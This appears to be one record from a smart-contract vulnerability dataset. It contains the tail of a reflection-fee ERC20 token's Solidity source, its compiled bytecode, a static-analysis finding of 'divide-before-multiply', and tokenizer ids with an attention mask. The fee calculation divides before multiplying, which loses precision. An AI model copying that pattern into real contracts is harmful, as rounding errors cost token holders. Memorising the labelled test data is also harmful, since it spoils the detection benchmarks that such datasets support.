tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b806323b872dd116100ff57806323b872dd1461028d5780632d83811914610311578063313ce5671461035357806339509351146103745780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025157806318160ddd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b6102596109f5565b6040518082815260200191505060405180910390f35b6102776109ff565b6040518082815260200191505060405180910390f35b6102f9600480360360608110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a12565b60405180821515815260200191505060405180910390f35b61033d6004803603602081101561032757600080fd5b8101908080359060200190929190505050610aeb565b6040518082815260200191505060405180910390f35b61035b610b6f565b604051808260ff16815260200191505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b86565b60405180821515815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c39565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf7565b6040518082815260200191505060405180910390f35b610486610de2565b005b610490610f68565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610f91565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611033565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611100565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111e565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611174565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fb565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611515565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611720565b005b60006107af611aaa565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806132e9602c913960400191505060405180910390fd5b600061085f83611ab2565b5050505090506108b781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090f81600654611b0a90919063ffffffff16565b60068190555061092a83600754611b5490919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611aaa565b8484611bdc565b6001905092915050565b6000600754905090565b60006a52b7d2dcc80cd2e4000000905090565b6000610a1f848484611dd3565b610ae084610a2b611aaa565b610adb8560405180606001604052806028815260200161324f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a91611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222c9092919063ffffffff16565b611bdc565b600190509392505050565b6000600654821115610b48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131bc602a913960400191505060405180910390fd5b6000610b526122ec565b9050610b67818461231790919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2f610b93611aaa565b84610c2a8560036000610ba4611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b611bdc565b6001905092915050565b60006a52b7d2dcc80cd2e4000000831115610cbc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cdb576000610ccc84611ab2565b50505050905080915050610cf1565b6000610ce684611ab2565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d9257600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ddd565b610dda600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb565b90505b919050565b610dea611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110295780601f10610ffe57610100808354040283529160200191611029565b820191906000526020600020905b81548152906001019060200180831161100c57829003601f168201915b5050505050905090565b60006110f6611040611aaa565b846110f185604051806060016040528060258152602001613315602591396003600061106a611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222c9092919063ffffffff16565b611bdc565b6001905092915050565b600061111461110d611aaa565b8484611dd3565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611203611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561145757611413600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61151d611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131e66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611728611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611aa6578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118db57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a995760056001600580549050038154811061193757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061196f57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a5f57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611aa6565b80806001019150506118aa565b5050565b600033905090565b6000806000806000806000611ac688612361565b915091506000611ad46122ec565b90506000806000611ae68c86866123b3565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061222c565b905092915050565b600080828401905083811015611bd2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132c56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ce8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061320c6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132a06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131996023913960400191505060405180910390fd5b60008111611f38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132776029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fdb5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ff057611feb838383612411565b612227565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120935750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120a8576120a3838383612664565b612226565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121615761215c8383836128b7565b612225565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122035750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221857612213838383612a75565b612224565b6122238383836128b7565b5b5b5b5b505050565b60008383111582906122d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561229e578082015181840152602081019050612283565b50505050905090810190601f1680156122cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006122f9612d5d565b91509150612310818361231790919063ffffffff16565b9250505090565b600061235983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613012565b905092915050565b600080600061238d600261237f60648761231790919063ffffffff16565b6130d890919063ffffffff16565b905060006123a48286611b0a90919063ffffffff16565b90508082935093505050915091565b6000806000806123cc85886130d890919063ffffffff16565b905060006123e386886130d890919063ffffffff16565b905060006123fa8284611b0a90919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061242286611ab2565b9450945094509450945061247e86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251385600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f5838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061267586611ab2565b945094509450945094506126d185600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276682600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127fb84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612848838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128c886611ab2565b9450945094509450945061292485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129b984600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a06838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a8686611ab2565b94509450945094509450612ae286600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7785600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0c82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ca184600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cee838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000600654905060006a52b7d2dcc80cd2e4000000905060005b600580549050811015612fc357826001600060058481548110612d9957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e805750816002600060058481548110612e1857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612ea0576006546a52b7d2dcc80cd2e40000009450945050505061300e565b612f296001600060058481548110612eb457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b0a90919063ffffffff16565b9250612fb46002600060058481548110612f3f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b0a90919063ffffffff16565b91508080600101915050612d7a565b50612fe46a52b7d2dcc80cd2e400000060065461231790919063ffffffff16565b821015613005576006546a52b7d2dcc80cd2e400000093509350505061300e565b81819350935050505b9091565b600080831182906130be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613083578082015181840152602081019050613068565b50505050905090810190601f1680156130b05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130ca57fe5b049050809150509392505050565b6000808314156130eb5760009050613158565b60008284029050828482816130fc57fe5b0414613153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061322e6021913960400191505060405180910390fd5b809150505b92915050565b61317382600654611b0a90919063ffffffff16565b60068190555061318e81600754611b5490919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220792a34dcf34407a7d2c279d4af1a353bf5bacf20e036ca8cd96c4b6628148f7f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2620, 2620, 2546, 2683, 2683, 2620, 2497, 2094, 2629, 2050, 11387, 2278, 2475, 3207, 19841, 3540, 2692, 2063, 2581, 2581, 2546, 2487, 12879, 2497, 2620, 20952, 2683, 21619, 22203, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5641, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,187
